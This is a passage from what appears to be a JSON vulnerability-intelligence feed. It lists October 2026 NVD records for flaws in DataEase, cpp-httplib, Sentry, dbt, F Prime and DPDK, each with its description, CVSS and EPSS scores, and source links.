a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104142","cveId":"CVE-2026-104142","aliases":[],"kind":"vulnerability","title":"DataEase is an open source data visualization and analysis tool.","summary":"DataEase is an open source data visualization and analysis tool. Prior to 2.10.26, authenticated users can store crafted FieldGroupDTO.min, FieldGroupDTO.max, FieldGroupDTO.startTime, or FieldGroupDTO.endTime values in dataset group-field binning definitions. Utils.transGroupFieldToSql inserts these free-form values into generated CASE expressions without validation, and the resulting SQL can reach unparameterized backend query execution when a chart uses the field. This stored SQL injection can compromise the confidentiality, integrity, and availability of the configured backend database. This issue is fixed in version 2.10.26.","detail":"DataEase is an open source data visualization and analysis tool. Prior to 2.10.26, authenticated users can store crafted FieldGroupDTO.min, FieldGroupDTO.max, FieldGroupDTO.startTime, or FieldGroupDTO.endTime values in dataset group-field binning definitions. Utils.transGroupFieldToSql inserts these free-form values into generated CASE expressions without validation, and the resulting SQL can reach unparameterized backend query execution when a chart uses the field. This stored SQL injection can compromise the confidentiality, integrity, and availability of the configured backend database. This issue is fixed in version 2.10.26.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T19:17:08.177Z","updatedAt":"2026-10-15T15:17:20.913Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104142","asOf":"2026-10-15T15:17:20.913Z"},"epss":{"probability":0.00351,"percentile":0.28497,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104142&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104142","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104142","type":"primary","publishedAt":"2026-10-14T19:17:08.177Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104142&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104142, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104141","cveId":"CVE-2026-104141","aliases":[],"kind":"vulnerability","title":"DataEase is an open source data visualization and analysis tool.","summary":"DataEase is an open source data visualization and analysis tool. Authenticated users with datasource access can supply crafted schema names, connection usernames, table names, or database names to datasource metadata operations, including getSchema, validate, save, and update flows. CalciteProvider inserts these identifiers into metadata queries that are executed through a plain JDBC Statement, allowing the generated SQL to be altered and run against the configured backend with application-held datasource credentials. The issue can compromise the confidentiality, integrity, and availability of the connected database without requiring a victim action.","detail":"DataEase is an open source data visualization and analysis tool. Authenticated users with datasource access can supply crafted schema names, connection usernames, table names, or database names to datasource metadata operations, including getSchema, validate, save, and update flows. CalciteProvider inserts these identifiers into metadata queries that are executed through a plain JDBC Statement, allowing the generated SQL to be altered and run against the configured backend with application-held datasource credentials. The issue can compromise the confidentiality, integrity, and availability of the connected database without requiring a victim action.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T19:17:08.013Z","updatedAt":"2026-10-15T17:17:11.313Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104141","asOf":"2026-10-15T17:17:11.313Z"},"epss":{"probability":0.00351,"percentile":0.28458,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104141&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104141","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104141","type":"primary","publishedAt":"2026-10-14T19:17:08.013Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104141&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104141, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102944","cveId":"CVE-2026-102944","aliases":[],"kind":"vulnerability","title":"cpp-httplib is a C++ header-only HTTP/HTTPS library.","summary":"cpp-httplib is a C++ header-only HTTP/HTTPS library. Prior to 0.51.0, create_redirect_client() removes Host, Proxy-Authorization, and Authorization headers when following a cross-origin 301, 302, 307, or 308 redirect but leaves Cookie headers attached. detail::redirect() copies the request for those redirect codes, so cookies supplied directly or through default_headers_ are sent to the redirect target. An attacker who controls a redirect response, or a network position for a non-HTTPS origin, can receive session cookies intended for the original origin. A 303 redirect is not affected because that path clears all request headers. This issue is fixed in version 0.51.0.","detail":"cpp-httplib is a C++ header-only HTTP/HTTPS library. Prior to 0.51.0, create_redirect_client() removes Host, Proxy-Authorization, and Authorization headers when following a cross-origin 301, 302, 307, or 308 redirect but leaves Cookie headers attached. detail::redirect() copies the request for those redirect codes, so cookies supplied directly or through default_headers_ are sent to the redirect target. An attacker who controls a redirect response, or a network position for a non-HTTPS origin, can receive session cookies intended for the original origin. A 303 redirect is not affected because that path clears all request headers. This issue is fixed in version 0.51.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T19:17:06.347Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102944","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00434,"percentile":0.37434,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102944&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102944","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102944","type":"primary","publishedAt":"2026-10-14T19:17:06.347Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102944&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102944, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102899","cveId":"CVE-2026-102899","aliases":[],"kind":"vulnerability","title":"Sentry is an application monitoring and error tracking platform.","summary":"Sentry is an application monitoring and error tracking platform. From 26.5.0 until 26.7.2, the SAML SSO identity-linking flow allows an attacker who controls a SAML identity provider to socially engineer an authenticated user into opening a malicious URL, link the attacker's identity to the victim's Sentry account, and take control of that account. The attack requires a browser that accepts the cross-site cookie context, including Firefox with SameSite=None cookies or Chromium with third-party cookies enabled. Sentry SaaS received the remediation on July 27, 2026, and self-hosted Sentry is fixed in version 26.7.2.","detail":"Sentry is an application monitoring and error tracking platform. From 26.5.0 until 26.7.2, the SAML SSO identity-linking flow allows an attacker who controls a SAML identity provider to socially engineer an authenticated user into opening a malicious URL, link the attacker's identity to the victim's Sentry account, and take control of that account. The attack requires a browser that accepts the cross-site cookie context, including Firefox with SameSite=None cookies or Chromium with third-party cookies enabled. Sentry SaaS received the remediation on July 27, 2026, and self-hosted Sentry is fixed in version 26.7.2.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T19:17:06.170Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102899","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00364,"percentile":0.2995,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102899&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102899","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102899","type":"primary","publishedAt":"2026-10-14T19:17:06.170Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102899&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102899, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100406","cveId":"CVE-2026-100406","aliases":[],"kind":"vulnerability","title":"dbt enables data analysts and engineers to transform their data using the same practices that software engineers use to build applications.","summary":"dbt enables data analysts and engineers to transform their data using the same practices that software engineers use to build applications. From 2.0.0-alpha.0 until 2.0.0-alpha.5, dbt docs serve exposes the unauthenticated POST /api/v1/query endpoint in crates/dbt-docs-server/src/handlers/query.rs, which passes caller-supplied SQL to DuckDbViewsBackend::query_arrow() in crates/dbt-index-core/src/backend.rs without authorization or an allowlist. A client that can reach the server can invoke DuckDB filesystem-reading functions to read files available to the dbt process, including files outside the docs index directory. The server binds to localhost by default, but operators can expose it to a network through the host option or DBT_DOCS_HOST setting. This issue is fixed in version 2.0.0-alpha.5.","detail":"dbt enables data analysts and engineers to transform their data using the same practices that software engineers use to build applications. From 2.0.0-alpha.0 until 2.0.0-alpha.5, dbt docs serve exposes the unauthenticated POST /api/v1/query endpoint in crates/dbt-docs-server/src/handlers/query.rs, which passes caller-supplied SQL to DuckDbViewsBackend::query_arrow() in crates/dbt-index-core/src/backend.rs without authorization or an allowlist. A client that can reach the server can invoke DuckDB filesystem-reading functions to read files available to the dbt process, including files outside the docs index directory. The server binds to localhost by default, but operators can expose it to a network through the host option or DBT_DOCS_HOST setting. This issue is fixed in version 2.0.0-alpha.5.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T19:16:59.847Z","updatedAt":"2026-10-20T02:17:07.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100406","asOf":"2026-10-20T02:17:07.867Z"},"epss":{"probability":0.00423,"percentile":0.36307,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100406&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100406","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100406","type":"primary","publishedAt":"2026-10-14T19:16:59.847Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100406&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100406, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92158","cveId":"CVE-2026-92158","aliases":[],"kind":"vulnerability","title":"F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications.","summary":"F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. Prior to 4.2.0, Svc::FpySequencer STORE directive stack write validation the bounds check adds attacker-controlled offset and size before memcpy, allowing integer wraparound to make an out-of-range destination appear valid. When a sequence-controlled STORE directive supplies a stack offset and size whose U32 sum wraps, memcpy can write outside the sequencer stack, causing memory corruption, denial of service, and potentially code execution. This issue is fixed in version 4.2.0.","detail":"F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. Prior to 4.2.0, Svc::FpySequencer STORE directive stack write validation the bounds check adds attacker-controlled offset and size before memcpy, allowing integer wraparound to make an out-of-range destination appear valid. When a sequence-controlled STORE directive supplies a stack offset and size whose U32 sum wraps, memcpy can write outside the sequencer stack, causing memory corruption, denial of service, and potentially code execution. This issue is fixed in version 4.2.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:19:35.217Z","updatedAt":"2026-10-15T14:45:10.783Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92158","asOf":"2026-10-15T14:45:10.783Z"},"epss":{"probability":0.00747,"percentile":0.54578,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92158&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92158","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92158","type":"primary","publishedAt":"2026-10-14T18:19:35.217Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92158&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92158, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92155","cveId":"CVE-2026-92155","aliases":[],"kind":"vulnerability","title":"F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications.","summary":"F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. Prior to 4.2.0, Fw::FilePacket deserialization used by Svc::FileUplink is vulnerable because Header deserialization casts the byte to the Type enum without validating its range and FilePacket::fromSerialBuffer reaches a default FW_ASSERT. When a network file packet contains an unknown file-packet type byte, the assertion aborts or resets the default Ref application process, causing denial of service. This issue is fixed in version 4.2.0.","detail":"F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. Prior to 4.2.0, Fw::FilePacket deserialization used by Svc::FileUplink is vulnerable because Header deserialization casts the byte to the Type enum without validating its range and FilePacket::fromSerialBuffer reaches a default FW_ASSERT. When a network file packet contains an unknown file-packet type byte, the assertion aborts or resets the default Ref application process, causing denial of service. This issue is fixed in version 4.2.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:19:34.777Z","updatedAt":"2026-10-15T16:18:23.330Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92155","asOf":"2026-10-15T16:18:23.330Z"},"epss":{"probability":0.00366,"percentile":0.30175,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92155&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92155","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92155","type":"primary","publishedAt":"2026-10-14T18:19:34.777Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92155&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92155, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92154","cveId":"CVE-2026-92154","aliases":[],"kind":"vulnerability","title":"F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications.","summary":"F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. Prior to 4.2.0, Svc::FileUplink handleDataPacket offset and size validation is vulnerable because the component checks byteOffset plus dataSize with wrapping U32 arithmetic and then seeks to the large attacker-controlled offset before writing. When a file-uplink DATA packet supplies a byteOffset and dataSize whose unsigned sum wraps below the declared file size, data can be written beyond the declared upload size, causing file integrity loss and potentially large sparse-file growth or resource exhaustion. This issue is fixed in version 4.2.0.","detail":"F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. Prior to 4.2.0, Svc::FileUplink handleDataPacket offset and size validation is vulnerable because the component checks byteOffset plus dataSize with wrapping U32 arithmetic and then seeks to the large attacker-controlled offset before writing. When a file-uplink DATA packet supplies a byteOffset and dataSize whose unsigned sum wraps below the declared file size, data can be written beyond the declared upload size, causing file integrity loss and potentially large sparse-file growth or resource exhaustion. This issue is fixed in version 4.2.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:19:34.630Z","updatedAt":"2026-10-15T19:17:48.477Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92154","asOf":"2026-10-15T19:17:48.477Z"},"epss":{"probability":0.00614,"percentile":0.49121,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92154&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92154","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92154","type":"primary","publishedAt":"2026-10-14T18:19:34.630Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92154&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92154, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92150","cveId":"CVE-2026-92150","aliases":[],"kind":"vulnerability","title":"F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications.","summary":"F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. Prior to 4.2.0, Svc::GenericHub fromBufferDriver_handler deserialization is vulnerable because the receive handler uses FW_ASSERT for externally influenced deserialization status and type validation and permits a command payload size subtraction to underflow. When an unauthenticated inter-processor hub peer sends a truncated buffer, an invalid HubType, or a header-only command-dispatch payload, malformed hub traffic aborts or resets the process, causing denial of service. This issue is fixed in version 4.2.0.","detail":"F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. Prior to 4.2.0, Svc::GenericHub fromBufferDriver_handler deserialization is vulnerable because the receive handler uses FW_ASSERT for externally influenced deserialization status and type validation and permits a command payload size subtraction to underflow. When an unauthenticated inter-processor hub peer sends a truncated buffer, an invalid HubType, or a header-only command-dispatch payload, malformed hub traffic aborts or resets the process, causing denial of service. This issue is fixed in version 4.2.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:19:34.330Z","updatedAt":"2026-10-20T02:17:13.467Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92150","asOf":"2026-10-20T02:17:13.467Z"},"epss":{"probability":0.00556,"percentile":0.46127,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92150&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92150","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92150","type":"primary","publishedAt":"2026-10-14T18:19:34.330Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92150&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92150, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-86848","cveId":"CVE-2026-86848","aliases":[],"kind":"vulnerability","title":"A flaw was found in DPDK lib/vhost vhost-crypto. The indirect-descriptor snapshot double-fetches a guest descriptor next index, allowing a malicious guest to cause an...","summary":"A flaw was found in DPDK lib/vhost vhost-crypto. The indirect-descriptor snapshot double-fetches a guest descriptor next index, allowing a malicious guest to cause an out-of-bounds access in the host backend.","detail":"A flaw was found in DPDK lib/vhost vhost-crypto. The indirect-descriptor snapshot double-fetches a guest descriptor next index, allowing a malicious guest to cause an out-of-bounds access in the host backend.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:19:19.223Z","updatedAt":"2026-10-14T20:18:00.127Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-86848","asOf":"2026-10-14T20:18:00.127Z"},"epss":{"probability":0.0011,"percentile":0.0125,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-86848&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-86848","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86848","type":"primary","publishedAt":"2026-10-14T18:19:19.223Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 